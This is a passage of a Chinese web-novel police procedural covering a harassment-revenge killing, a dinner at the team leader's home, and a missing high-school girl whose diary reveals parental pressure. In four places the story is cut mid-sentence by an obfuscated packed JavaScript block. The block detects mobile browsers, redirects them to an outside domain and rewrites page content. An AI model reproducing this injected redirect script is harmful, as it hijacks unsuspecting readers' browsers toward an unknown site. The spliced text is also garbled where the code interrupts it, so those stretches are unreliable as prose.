慕舒握住纸巾的手指紧了紧,她朝两人摇摇头,眼神忽然变的坚定起来:“我知道,就算我说出了实情,或许也不能拿他们怎么样。可这次,我不想再逃避了。” 此刻他们才知道,在旁人看来性格开朗外表优秀的张涛,对于这两个女孩儿来说,其实是一辈子都挥之不去的阴影。 前者选择隐忍、逃避,所以她屡次受到张涛的骚扰却不敢言。而选择了绝不姑息作罢的后者,在亲手将恶徒送进正义的囚笼之后,才知是噩梦的开始。 “江南报警之后,张涛毫不意外地被送进了看守所,可是他家厉害啊。”慕舒似是嘲讽地笑了笑,“他妈妈四处找人保他,于是只被关了一个月,张涛就因为证据不足给放了出来。” 慕舒看向对面的两人,眼神里满是绝望:“因为有过前科,店里的生意一落千丈,张涛气急败坏,把所有的责任都怪罪到了我和江南身上。更可笑的是,他妈妈还在网上发了视频,说我们勾引不成反污蔑他的儿子。” “那你们就没想过离开吗?” “怎么可能没想过啊,可在外人看来,张涛有家世背景,人长得帅性格又好。张涛妈妈花钱让视频的热度上去之后,好多人都说着‘这么帅又有钱的人,怎么会侵犯长相如此普通的女孩啊’之类的话。” “那些评论就这么一条一条的,出现在我们的眼前,甚至在路上也会被人指指点点。后来,就连父母得知了这件事之后,也因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985467|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被邻居看不起而要和我们断绝关系。我们实在是没地方可以去了啊,没人愿意收留我们的。” 慕舒没再像刚才那样哭泣,只是在抬起头的时候,眼底里满是绝望和嘲讽:“多可笑啊,最后就连家人也不愿相信自己。” 而被逼上绝路的人,往往会因为再也不在乎会有什么东西可失去的时候,做出最无法挽回的事。 江南便是。 她拿起刀,亲手斩断自己与恶徒之间交缠的线,却忘了在那一刻,她已经走上了通往深渊的迷途。 “陆队?” 正驶往城东分局方向的车里,坐在副驾驶上的齐况掏出手机,听着电话那边陆闻的声音—— “小区监控和受害者家里的监控,都拍到了江南进出的画面,而且在现场遗留下的鞋印和凶器上的指纹,也都和江南的信息吻合。” “嗯,我和一然这边也有相关证人提供的证词,马上带回去。” 城东分局刑侦大队的审讯室里,江南戴着手铐,坐在被审讯人的座位上,对面是对此次案件进行第二次审讯的苏乐和纪嘉嘉。 “真没想到,陆队竟然把嘉嘉姐给找来了。” 监控室里,齐况和林一然并排而立,透过那块玻璃墙,观察着审讯室里的情况。 闻言,齐况有些疑惑地看向林一然,后者在察觉到他的目光之后,才笑着解释道—— “纪嘉嘉,大家都叫她嘉嘉姐,预审科的老人儿了,听说之前陆队还不是队长的时候,就是他们俩负责审问犯人的。” “不过当时我还没来,也只是听几位前辈提起过,对付难缠的嫌疑人都是他俩合作,一刚一柔循序渐进,不怕有不松口的铁疙瘩。” “原来如此……” 齐况正想着,监控室的门突然被打开,而后只见陆闻双手环抱着走了进来:“陆队。” 齐况和林一然同时开口。 “嗯。”陆闻点点头,走到两人身边站定,“怎么样了?” “目前来看,江南和那个女孩儿的证词都是一样的。” 闻言,陆闻突然想起自己刚才看到的那段录像,眉头不可察觉地微皱了一下。 其实在此之前,与张涛父母沟通的时候,他大概也猜到了些,只是没想到,真相竟比他想象的更甚。 审讯室里,苏乐合起桌上的记录本,然后起身朝准备离开的纪嘉嘉点了点头。不过片刻,原本还在审讯室的纪嘉嘉就出现在了三人面前—— “就知道你们在这儿。” “嘉嘉姐。”三人同时开口。 陆闻不忘看了眼审讯室里,正在安抚江南的苏乐:“江南的情绪还算稳定吗?” “我你还不相信吗?不过……” 纪嘉嘉收敛了笑容,看向审讯室的眼神带着些惋惜:“不是所有的伤痛都可以被治愈到,即使是我,也不能保证在审讯时问到的问题,不会再一次伤害到她的心。” “那些作为证据的评论我都看了,也是我这种老年人平时不怎么上网,多少有些看不懂现在某些人的想法了。” “外表可从来不是判定一个人正恶的标准,有时候只一味的关注外在,可是会忽略掉最本质的东西的。” “是啊。” 陆闻没再说话,而是将目光停留在那,早已无人的审讯室里。 12. 未归人 城东分局刑侦支队的警员办公室,陆闻双手环抱,在齐况的座位旁坐下:“齐况,今天晚上有空吗,下班后来我家吃饭啊。” “啊,”齐况有些没反应过来,“有空是有空,不过是有什么事吗?” 还没等齐况说完,在一旁偷听的林一然就弯身靠了过来:“我们陆队亲近下属,齐哥你就去吧,我和苏乐刚来的时候,也去过陆队家吃饭呢。” “是啊。”陆闻点头附和道。 “好,那就谢谢陆队了。” 晚上下班之后,齐况本来打算先去买些水果,却没想到下了楼,竟看到陆闻的车还在那里。 他歪着头看了眼车牌,确认之后,才走到驾驶位的玻璃前站定:“陆队?” “嗯。”陆闻点点头,“上来吧。” 齐况朝外面指了指:“可我还要去买……” “不用,菜我都买好了。” 齐况连忙摇头:“不是,我想去买些水果。” “买水果?”陆闻愣了几秒,才继续道,“不会是做回礼送给我的吧?不用,之前苏乐也送过,没人吃放坏了都。你要实在不好意思,下次也请我去你家吃饭就是。” “可是我这空着手去……” “没事儿,我又不计较这些,走吧。” “那好吧。” 汽车缓缓停在地下停车场,陆闻就带着齐况进了电梯,随着眼前数字变幻,没多久就到了他家所在的楼层,两人前后脚走出电梯后,由陆闻走在前面带路。 “到了,”他停在门前,掏出钥匙准备开门,却在下一秒皱起了眉:“不会吧……” “怎么了?”站在他身后的齐况歪着头看过来,有些疑惑地问了一句。 陆闻没答,只是推开门先走了进去,然后把钥匙放在旁边的木桌上:“直接进来就行,你先到那边坐会儿吧。” “好。” 招呼着齐况坐下后,陆闻先进了距离玄关最近的厨房,发现没有人在后,又去了卫生间旁边的小卧室。 “妈,你咋来了也不提前和我说一声?” “小闻啊,”李如芳正在房间里叠衣服,见陆闻推门进来,便放下衣服起身过去,“我就是过来给你收拾收拾,我说了你还让我来嘛。” 陆闻悄悄往齐况那边看一眼,然后用只有两人才能听到的声音开口道:“有人来家里吃饭,您可别乱说话啊。” “有人来吃饭?”李如芳猛地一个激灵,说着就要往外面走去,“男孩儿女孩儿啊,我看看先。” “妈妈妈!”陆闻吓得立刻直起身将李如芳给拦住了,“男孩儿男孩儿,队里刚来没多久的同事。” 闻言,李如芳有些恨铁不成钢的朝陆闻胸口锤了一拳,咬牙切齿道:“每次带回来的都是同事同事,你什么时候能给妈带回来个女朋友啊!啊?” “哎呦妈——”陆闻拍了拍李如芳的肩膀,“您消消气,咱先不说这个事好吗?” “臭小子,去厨房帮忙!” “好嘞!” 两人一前一后走出卧室。见他们出来,齐况连忙站起身:“阿姨好。” “妈,这是齐况,我们队里刚来的同事。”陆闻在旁边介绍道。 李如芳笑着点了点头:“小齐呀,你好你好。先坐吧,不用太拘束,当在自己家就好。” “好的阿姨。” 简单打过招呼,李如芳就去了厨房开始做饭,而陆闻在帮忙洗好菜之后,就被李如芳从厨房里推了出来。 他把手上的水擦干,转身去了客厅坐下:“饿了吧?本来想着就咱俩,随便炒几个菜的,结果没想到我妈突然来了。” “没关系。” “对了。”陆闻朝厨房的方向看了眼,然后往齐况那边凑近道,“等会儿吃饭的时候,如果我妈和你说了什么奇怪的话,你随便应两声就行,不用放在心上。” “这不好吧?” “没事儿,反正她跟你说的也不是啥大事。” “嗯,”齐况有些迟疑地点了点头,“那好。” “小闻,过来端菜。” 李如芳在厨房门口喊了一声,见齐况也跟过来准备帮忙,她连忙把人拦在了外面:“让小闻去就行,你和阿姨先过去吧。” 于是,齐况又被拉去了餐桌前坐下。 “小齐啊,今年多大啦?” “26岁了。” “哦哦,听口音,你不是本地人?” “对,我是宁水人,不过读完大学后就一直留在这里。” “宁水……”李如芳看了眼陆闻端上桌的剁椒鱼头,“哎呦,我听说你们那边吃的都挺清淡的?” “小时候确实很少吃,不过在这里生活了几年,都已经习惯了。” 在对面坐下的陆闻先盛了一碗饭,然后放在李如芳的面前:“妈,你又查人户口呢?” 李如芳只当没听见陆闻的话,继续问道:“小伙子长得这么俊,交女朋友了没啊?” “我还……” “妈——”没等齐况回答,陆闻已经夹起一块糖醋鲤鱼,放在了李如芳的碗里,“您吃鱼,多吃点儿。” “吃就吃嘛。”李如芳没再追着齐况问下去。她拿起筷子夹了只虾放在齐况碗里,含笑道,“小齐也多吃点,来这里就要吃饱啊。” “谢谢阿姨。” 陆闻对着手里的馒头咬了一大口,本想着接下来应该能安静一会儿的时候,却听到李如芳小声地对着齐况嘀咕了一句:“小闻这孩子挺好的,就是事业心太重,你要是有合适的女孩儿记得介绍给阿姨呀。” 看着对面陆闻的表情尤为精彩,齐况终于没忍住笑了:“我会的阿姨。” 陆闻刷完碗从厨房出来时,李如芳和齐况坐在客厅里正聊的开心。好在刚才他单独给李如芳做好思想工作后,人已经不再追着齐况打听户口了。 看了眼墙上的钟表后,他边脱下围裙边说道:“齐况,我送你回去吧。” 城东区不算太大,听齐况说,他家距离这里也没有多远,于是两人就决定散步回去。 或许是见过了太多形形色色的人或事物,繁华散尽的夜晚,走在无人的公路和昏黄的路灯下,反倒给人一种安逸的感觉。 春末的晚风轻拂在脸上,像是个随时要奔往夏初的孩子,热烈中又带着一些谨慎,于是就变成了最温柔的暖风。 “之前还没问过你,”走在前面的齐况突然开口道,“最后那个凶手抓到了吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985468|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个凶手”说的是谁,陆闻不用问也知道。他走到路边的石栏杆前,身体前倾撑在栏杆上。 “警察办案,最重要的就是证据,没有证据,我们连凶手是谁都不知道。” “说起来,”陆闻顿了顿,抬头看向远处的一排排灯光,“你那时候和现在变化确实挺大的,也没想到竟然还能再见面。” 齐况弯唇轻笑,也走到栏杆前,和陆闻并排而立:“其实,我还挺感谢你们的。你,秦队,还有小高哥哥。” “如果不是因为你们,不是那次的经历,或许当时的齐况,根本就没想过要成为一名警察。” 陆闻没有说话,只是在望向齐况那边时,才发现对方也在看着自己。 人这一生,最难能可贵的就是在正确的时间里,遇到可以改变其一生的人,对于齐况来说,他们就是这样的人。 所以齐况对他们是感激的,也很幸运能与他们走上同一条路。 陆闻朝他笑了笑,然后抬手按住他的肩膀:“那就好好干吧,我们一起。” “齐哥!” 警员办公室,林一然拿着两盒牛奶坐在了齐况旁边,然后把其中一盒牛奶往他那边推了推:“苏乐和陆队的都送过去了,这是你的。” 齐况笑着点点头:“谢谢你一然。” “小事儿!”林一然摆摆手,像是突然想到什么,他朝四周环视了几圈,然后悄咪咪地往齐况那边靠过去,“昨晚去陆队家,感觉咋样?” “挺好的啊。” “啊真的?”林一然瞪大了眼睛,“之前我和苏乐去陆队家吃饭,李阿姨当场都要直接找苏乐当儿媳妇了。不会昨晚李阿姨不在吧?” “嗯……”齐况突然想到昨晚李如芳的话,如实道,“阿姨让我给陆队找女朋友,这个算吗?” “啊真的?我也是诶!”林一然像是从齐况的话里找到了什么共同话题,“那你觉得陆队会喜欢什么样的女孩儿,我们帮帮忙,也算了了阿姨的一桩心愿啊。” “我觉得……” “林一然!” 齐况还没来得及说话,身后的声音就把两人给吓了个激灵。齐况和林一然同时转过头,只见陆闻正站在两人身后,一脸阴沉地盯着林一然。 “陆,陆队?” 林一然还没反应过来,就被陆闻上前一步,用胳膊锁住了脖子:“你小子闲得很是吗?那就跟我一起出任务!嗯?” “陆队,我错了,求放过!” 于是,林一然就这样在一声声的惨叫里,被陆闻拖着出了警员办公室。 他们这次主要是去走访,关于最近青少年失踪案的家属,向他们了解到的信息越多,案件也就容易侦破一些。 “齐哥,陆队不在吗?” “和一然去走访最近案件的受害者家属了。”齐况这才看向身旁的苏乐,“怎么了?” “这边接到一起报案,报案人几周前就来这里报过失踪案,不过人一直没找到。现在报案人觉得,自己的女儿很有可能出了事,我们也已经做了立案调查。” “最近确实多了很多青少年失踪案,”齐况撑着下巴,若有所思地皱起了眉头,“这或许是个突破口,我们先过去看看吧?” “好。” 13. 未归人 从分局出发到报案人所居住的小区,苏乐看着记录本上记下的具体地址,领着齐况一起进了其中一个单元门。 电梯将两人送至报案人所居住的楼层,还是由在前面带路的苏乐,首先抬手按响了门铃:“你好,我们是城东分局的警察。” 开门的是一名中年女性,也是本起失踪案的报案人。见苏乐出示了警察工作证,才微微侧身让出路,有气无力地开口道:“你们好,先请进来吧。” 那中年女性先是倒了两杯水放在茶几上,才走过去在他们对面坐下:“我姓徐,失踪的,是我的女儿。” 见眼前人的情绪有些失控,苏乐柔声安慰道:“徐女士,您不用太难受,我们会尽全力找到您女儿的。” “谢谢。” 站在旁边的齐况朝周围环视了一圈:“不好意思,我可以参观一下这里吗?” “当然可以。” 得到允许后,齐况转身来到了电视柜前,上面摆放的都是一些杂物,不过最里面的那张全家福,倒是吸引到了他的注意。 这是一张三人全家福。 照片右侧的女性,是此次案件的报案人徐女士,而照片中左侧的男性一手搂着徐女士,另一只手搭在前面中心位的小女孩儿肩膀上,在这张全家福中明显是担任着父亲的角色。 而位于整张照片最中心的那个女孩儿,应该就是这次的失踪者。 “她叫季清君,今年十八岁,是一名高三的学生。”或许是注意到了齐况正盯着那张全家福,徐女士吸了吸鼻子,开口介绍道。 见状,苏乐从茶几上抽出一张纸巾,递到了徐女士的面前。后者接过纸巾,再开口时声音却有些颤抖:“我们家清君是个好孩子,而且马上就要高考了,她绝对不会离开家太长时间。” “警察同志,”徐女士说着,一把握住身旁苏乐的手,“求求你们,一定要帮我找到清君啊。” 苏乐反握住徐女士的手,柔声道:“徐女士您放心,相信我们。” 齐况站起身,仔细观察起这里的构造和摆设。整个房屋的面积并不大,其实对于三个人住,大概会有些拥挤。 从他站的位置来看,正对面是摆放着沙发和茶几的客厅区,右侧是朝南的大阳台,左侧靠近玄关的位置,是一间厨房。 而在电视墙旁边的一条拱形走廊里,左右两侧应该是卧室,而在走廊的尽头,明显是一间卫生间。 至于整个房屋里的家具摆放,算是中规中矩,虽没什么特点却还算干净整洁。 “这电视不能用?”齐况突然注意到身旁的电视上,竟然没有插入任何的电源线。 “对,因为清君今年高考,她的房间就在电视墙后面,这房子隔音不太好,我怕电视的声音会打扰到她学习。” 齐况点点头表示明白,而后转身来到了季清君的卧室门口。只是还没来得及开门,他就注意到了木门上的一块小木牌—— 未经允许,请勿随便进入。 “这是?” “哦,应该是清君不想在学习的时候被打扰,所以才写了这种话。” 齐况握住把手,微微用力将门推开,没想到映入眼帘的,是对门的一扇窗户,和窗户下的那张堆满书的木桌。 今日万里晴空,日光倾洒下来,透过窗户照进屋内。随之而来的,是一阵过堂清风,和与风共舞的素白纱帘。 或许是因为房间的主人已经很久没有回来过,书桌上的练习册还停留在上次的那道习题,上面几行俊秀的字体在阳光的照射下,竟模糊的有些看不清。 “这间房子,其实是用来给清君准备高考用的。”不知什么时候,苏乐和徐女士已经跟在齐况后面,进到了季清君的房间里。 齐况回过头,看向身后的两人。徐女士走到齐况面前站定,抬手摩挲了几下练习册上的字迹:“我们家住的地方,距离清君所在的高中还挺远的。” “高三之后,清君为了复习常常熬到深夜,第二天一早又要起早去学校上课,为了清君能够安心备考,我和她爸商量,在学校附近租了这间房子。” “而我也辞去了工作,来到这里陪着清君共同努力度过这一年。其实这倒不算什么,毕竟我们家就清君这一个孩子,我和她爸愿意倾尽所有,给她最好的学习环境。” “我们家清君,乖巧懂事成绩优异,她绝对不会在临近高考的时候失踪,所以一定是遇到什么危险了。警察同志,我们就这一个孩子,无论如何请你们能够帮我找到清君,求你们了!” 徐女士说完,又捂着嘴哭了起来。一旁的苏乐没再说话,只是轻拍着她的后背算作安慰。 齐况在季清君的书桌前坐下,想象着之前全家福上的那个女孩儿,坐在窗下面对月亮,努力思考着练习册上那些解不开的难题,日日夜夜,以此重复。 那是所有考生都会经历的场景。 “这个抽屉打不开?” “啊,原来是能打开的。”徐女士歪头看了眼齐况手指着的地方,回答道,“应该是有什么比较重要的东西,所以才……” “能打开吗?” 徐女士摇摇头:“钥匙在清君那里,我也不太清楚她平时会把这些小东西放在哪里。” 齐况了然。 他便跳过这个抽屉,试了试旁边的几个,好在都能打开,不过里面放的都是做完的习题,看不出有什么其他的异样。 正准备起身时,齐况突然感觉到书桌下有什么东西,好像被他给踢到了。 他弯下腰,将东西从里面拉出来时,才发现是季清君的书包。沉甸甸的书包很干净,拉链上还有一个可爱的毛茸茸挂饰。 齐况拉开最小的那层拉链,手指探进去的时候,能摸到一个钥匙形状的金属物。他拿出钥匙,在刚才抽屉的锁上试了试,谁知竟真的能打开。 他拉开抽屉,与刚才放满的试卷习题不同,这个空间里堆满了各种各样的明星卡片和发夹饰品,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985469|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有藏在最底下的一本厚笔记本。 “这是……”站在旁边的徐女士在看到这些东西后,明显皱起了眉头,“这些东西怎么还在?” “嗯?”齐况有些不解。 “哦,这些都是清君之前喜欢的小东西,后来我告诉她要以学业为主,就让她先扔了,等上了大学之后可以再买嘛。没想到竟然都还在……” 苏乐走到两人旁边,从抽屉里拿出一根彩色的发圈。或许是想到了那时同样喜欢这些东西的自己,微微扬起嘴角笑道:“正值青春的小姑娘,有些自己的小爱好也算正常啊。” “她喜欢这些我也不反对。只是清君虽然学习成绩还算不错,自制力却实在太差,稍微懈怠几分就会被年级的其他同学超过去。为了不被这些小东西转移注意力,我也只能这样做了。” 两人说话间,齐况已经把最底下的那本笔记本拿了出来。只随意翻开刚读上几行,徐女士就突然凑上来,于是他又不动声色地合将笔记本合上。 “这个本子我们能带回去看看吗?” “当然可以……” 齐况没再说话,而是将笔记本放在了自己随身携带的背包里。然后他又站起身,看向徐女士问道:“季清君在失踪前,有和你说过什么吗?” “倒也……没有。” 徐女士仔细回忆了季清君失踪的前天晚上,两人最后一次聊天的情景:“清君每次下课回来后,都会把自己关在屋里做试卷,和往常也没什么不同。期间我还进去送过一次牛奶,每天晚上我都给她送牛奶。” “那季清君是在什么时间失踪的呢?或者什么地点,又或者当时有和什么人接触过?” “时间……我也不太清楚。”徐女士摇摇头,手指无意识地揪着身上那件有些破旧的衬衫。 “我只记得那天,清君回来的很早,把东西都放进房间后,她就到厨房门口跟我说要和几个同学出去买文具。当时我在厨房刷碗,想着买个文具也用不着多少时间,就让她出去了。” “没想到,等到晚上吃饭的时候她都没回来,我以为她是在隔壁同学家做作业,就过去找她,谁知敲了门才知道,她们当时根本没在一起。” “后来,我打了好多电话都打不通,我就有些害怕了,下去找了几圈也没见人,第二天去学校问了老师和其他同学,也都说没见到。” 徐女士越说情绪越激动,捂着嘴又哭了起来,一旁的苏乐就扶过她的肩膀轻声安慰着。 齐况也没再多问,只是将目光移到了窗外,从这里看下去,可以看到马路对面的一所高中。 大概因为现在是下课时间,各个教学楼前,来来往往都是成群结队的学生。 晨起不见朝阳,归来伴月行,只闻见朗朗读书声。那里最不缺朝气蓬勃,青春潇洒,多的是未来充满希望和无限可能的栋梁之材。 或许是人们的期望太过美好,所以才会忽略了那些躲在角落里,带着压抑无措的迷茫之星。 14. 未归人 “陆队?”从季清君家出来之后,齐况就接到了陆闻打过来的电话,“对,我和苏乐也在外面,第七中学附近。好的。” “怎么了齐哥?”见齐况挂断电话之后,一旁的苏乐才问了一句。 “是陆队,他和一然也在附近。”齐况把手机放在背包里,而后将目光移到快要转换成绿灯的交通信号灯上,“走吧,我们先去车上等他们。” “好。” 齐况和苏乐上了车之后没几分钟,陆闻就根据车牌,认出路边停着的哪辆车是他们。从自己车上下来之后,陆闻走到前面那辆车的驾驶位旁,在玻璃窗前敲了敲—— 见外面的人是陆闻,苏乐打开紧闭的车窗:“陆队。” “嗯,怎么样了?” “已经找家属了解过情况了,而且我和齐哥也拿到了这附近的监控,或许可以找到季清君的去向。” “学校那边呢?” “还没来得及过去。” “知道了。”陆闻朝自己车里的林一然勾勾手,等到人过来的时候,他才拍着林一然的肩膀继续道,“一然,你和苏乐先回队里看监控,齐况下来,和我一起去学校里看看。” “好。”林一然点头应了一声,等齐况从副驾驶下来之后,他才过去坐进车里,“那我们先走了,有什么需要随时联系。” “嗯,去吧。”陆闻摆摆手,“路上小心。” 等到苏乐的车走远,陆闻才转过头看了眼齐况:“我们也走吧。” 蓝海市第七中学,位于城东经济开发区,因为这里是在这两年才发展起来的,所以附近除了带学生过来租房的家长,常住在这里的居民并不算多。 齐况和陆闻沿着人行道,大概走上三分钟左右,就来到了第七中学的校门口。守在保安亭里的大叔,见有两个生面孔在门外徘徊,连忙走出去大喝一声—— “你们是干什么的?这里是学校,不要在这里瞎转悠。” “不好意思,”齐况趴在伸缩门外,将口袋里的工作证举到了那保安的眼前,“我们是警察,需要进学校了解一些情况,已经和校长打过招呼了。” “警察?”那保安大叔眯起眼,凑近了想要看清上面的字。见工作证上的照片和面前的脸重合,他才直起身嘟囔道,“还真是警察,进来吧进来吧。” 眼看伸缩门旁边的小门被打开,齐况往站在不远处的陆闻那里看了一眼,示意他和自己一起进去。 现在是上午最后一节课的时间,除了体育课的学生正在操场上集合,周围基本没有什么人从他们面前经过。站在石砖路两边的梧桐将他们头顶的阳光挡住,只留下些斑驳的树影。 那边体育老师的一声哨响,跑道上几名身穿校服作起跑姿势的男生,便卯足劲儿地向前冲了出去。 在热烈的阳光下,少年们一圈儿接着一圈儿,那随风扬起的衣摆,此刻仿佛也在享受着自由。 “真好啊。”齐况看着那边操场上的学生,不由自主地感叹了一句,“永远回不去的时光,总是会让人怀念呢。” “过去的时光固然美好,”陆闻话音未落,忽地一把拉过身旁快要踩到石坑的齐况,“可如果一直回望过去,未来的齐况说不定会被绊倒。喏,就像这样。” “谢谢。”齐况有些不好意思地挠挠头,而后回过身,朝刚才那个缺了块砖的小石坑看了一眼。 “听那个保安大哥说的,应该就是前面的这栋楼……”陆闻歪着头,透过路两边树荫的缝隙,勉强能看清楼上的几个大字——笃思楼。 “不过现在他们还在上课,我们过去会不会打扰到他们?” 陆闻举起胳膊,看了眼腕上的手表:“距离下课还有一段时间,那我们先等等吧。” “好。” 两人并排坐在路边的长木椅上,陆闻盯着对面篮球场上,几名正在打篮球的学生出了神,而齐况则是拉开背包,拿出刚才在季清君房间抽屉里发现的那个笔记本。 刚才他只匆匆看了几眼,不过可以确定是本日记,季清君的妈妈应该还不知道它的存在。 “这是什么?”一旁的陆闻突然用余光注意到了齐况手里的东西。 “我在季清君家找到的,应该能在这里找到些线索吧。” 言罢,齐况翻开了日记的第一页。 整篇日记大概记录的,是季清君在第一天上高中后的感想。 虽然只是几行简单的文字,不过字体却很工整,就连结尾处加上的笑脸,似乎也在表达日记主人当时的兴奋。 “顺利进入高中,新的班级里,大家看起来都很好相处呢。真没想到,竟然还在这里遇见了初中时的同学,好开心!我始终都相信,离别是为了下一次更好的相遇。” “或许是命运使然,从初中开始陪伴了我三年的好朋友,竟然在高中时又出现在了我的面前。她骄傲勇敢,总能在我遇到困难的时候为我伸出双手,我想,我们会成为永远的好朋友吧。” “高二之后,妈妈对我的学习上心了不少。她告诉我不要和差学生交朋友,给我制定了按时回家和学习的时间,还不许我买自己喜欢的周边。我虽然有些不高兴,却不敢反驳,那样会伤了妈妈的心吧。” “今天和悦悦在外面玩到很晚,我错了,我知道妈妈很生气,可她竟然当着悦悦的面,说如果我再和差生玩儿就不准回家。妈妈好过分,悦悦她是我最好的朋友啊。” “明明高三还没开始,大家好像就提前进入了备战状态,我也跟着紧张了起来。妈妈总是对我说要笨鸟先飞,我得更加努力才行了啊!” “我家距离七中有段距离,为了高三能好好学习,妈妈辞去了工作,在学校附近租了房子和我一起住。可是这样一来,家里的重担就压在了爸爸身上,妈妈让我不用担心,说只要我考上好的大学,就是对他们最大的回报。那就好好努力吧,为了让他们能过上更好的生活!” “今天我的心情很不好。爸爸在工地不小心摔伤了,我和妈妈说我想去看望他,可妈妈却说这样会耽误明天的考试。高三之后,我很少见到爸爸,我想见见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985470|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸,所以我告诉妈妈绝对不会影响考试。爸爸的右腿骨折了,不知道是不是一个人生活的原因,爸爸瘦了好多,我想多陪陪爸爸,可妈妈却让我赶紧回去复习。我真的很难受。” “今天我和妈妈大吵了一架,因为妈妈没有经过我的同意就进了我的房间,还偷看我的东西。她说那些东西会分散我的注意力,让我把它们全部扔掉,可那是初中毕业时同学送我的礼物啊。妈妈明明什么都不知道,却说都是为了我好,说是为了我以后能有更好的工作更好的生活。可我真的好累好累,好像有什么东西在压得我喘不过气,这样的生活还要多久才能结束呢?” “这次的考试发挥失误,妈妈看到我的分数后,难过的哭了好久好久。她说为了我的学习,每天都担心的睡不好觉,爸爸也在努力的工作赚钱,为什么我就是不明白呢?我明白啊,这些我都明白,我也有在好好努力的。可妈妈呢,她明白我在想什么吗?” “距离高考还有一个多月,我和妈妈的争吵却越来越多。她现在像只容易受惊的小鸟,总是怕这怕那的,怕我没在房间里认真学习,就时不时地开门盯着我,或者向同学打听我在学校的状态,听说学校里有人谈恋爱,就抓着我盘问好久。不,我感觉自己才像一只小鸟,像是被时刻监视着的,一只被困在笼中不得自由的小鸟。” “最近坐在书桌前看向对面的七中时,我总有些恍惚。仿佛自己还是刚入学的高一新生,可看着桌上的日历和堆满的试卷,我又在想原来已经到了这个时候,高中三年的时光说来短暂却又有些漫长,我竟分不清哪一刻才是在为真正的自己而活。妈妈总说现在的努力是为将来更好的生活,我从不觉得这些话有什么问题,可他们日复一日的,用那些自以为是为我好的说辞督促我,实在将我压的有些喘不过气来。” “今天和几个同学一起谈心,那时我才知道,原来不是所有的父母,每天与孩子的对话都是关于高考。” “齐况,”陆闻站起身,拍了拍旁边的人。后者猛地回神,将目光从日记本上移到了陆闻那里,“下课了,走吧。” “嗯。”齐况将日记本合上,小心放进了自己的背包里。 放学铃刚响不久,周围都是从教学楼里出来,往同一方向过去的学生。 两人穿梭在人群之中,偶尔能看到三两成群说说笑笑,讨论着待会儿要去哪个窗口打饭,或是互相分享最近入坑的电视剧。 上了五楼之后,整个走廊都静悄悄的不见人影儿,只能听见部分还没下课的教室里,偶尔传来几句说话的声音。 听季清君的妈妈说,季清君是在高三的12班。陆闻两人来到教室门口时,里面学生都在各自的位子上坐着,看样子是还没下课,大概过了两分钟左右,他们才陆陆续续从里面出来。 “您好。” 齐况回过神,朝陆闻那边看过去。只见人已经站在两步之外的距离,正和一位抱着教材的中年男性说话—— “我们是警察,想了解一些关于季清君的情况,请问您现在有空吗?” 15. 未归人 教师办公室里,陆闻和齐况并排坐在沙发上,对面是季清君班上的语文老师。 “季清君同学,说起来我已经有一段时间没有看见过她了。大概在一周前,她的母亲也来过我们学校,说是那天下午季清君出去之后,就再没有回去过。” “那天你有他们班级的课吗,有没有注意到当天季清君是否有什么异常?” 语文老师皱起眉头,仔细回想着那天的课上的细节:“我记得当天下午第一节是我的课,季清君成绩不错,是个非常乖巧努力的小姑娘,上课也在认真听讲,和往常好像没什么区别。” “那季清君的家庭情况,”一直未言的齐况突然开口问道,“请问你是否了解一些呢?” “其实对于学生的家庭情况,作为任课老师,基本不太会了解到。不过,”语文老师抬手推了推脸上的黑框眼镜,“季清君的母亲非常关心孩子的情况,经常向我们询问季清君在学校是否认真听课,或者有无贪玩的情况。” “之前因为考试成绩下滑,我也找季清君进行过谈话。其实作为高考生来说,除了平时对于知识的积累之外,最重要的还是心态。” “尤其是在现在这个节骨眼儿上,像很多学生其实平时学习不错,可真到了考试的时候,就会出现发挥失常的情况。这时候如果家长再施加压力,其实对于考生来说也是非常不利的。” “那季清君在班里,有没有玩儿的好的同学,我们想通过她身边的朋友了解下情况。” “据我了解,季清君乖巧安静很少说话,平时也看不到她和谁的关系比较亲近。” 